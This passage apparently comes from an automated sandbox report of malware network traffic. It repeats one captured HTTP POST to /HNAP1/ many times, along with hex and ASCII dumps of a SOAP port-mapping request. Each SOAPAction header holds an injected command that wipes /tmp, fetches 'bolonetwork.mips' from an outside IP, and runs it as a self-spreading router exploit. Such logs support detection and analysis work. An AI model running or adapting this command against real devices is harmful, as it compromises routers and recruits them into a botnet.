6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 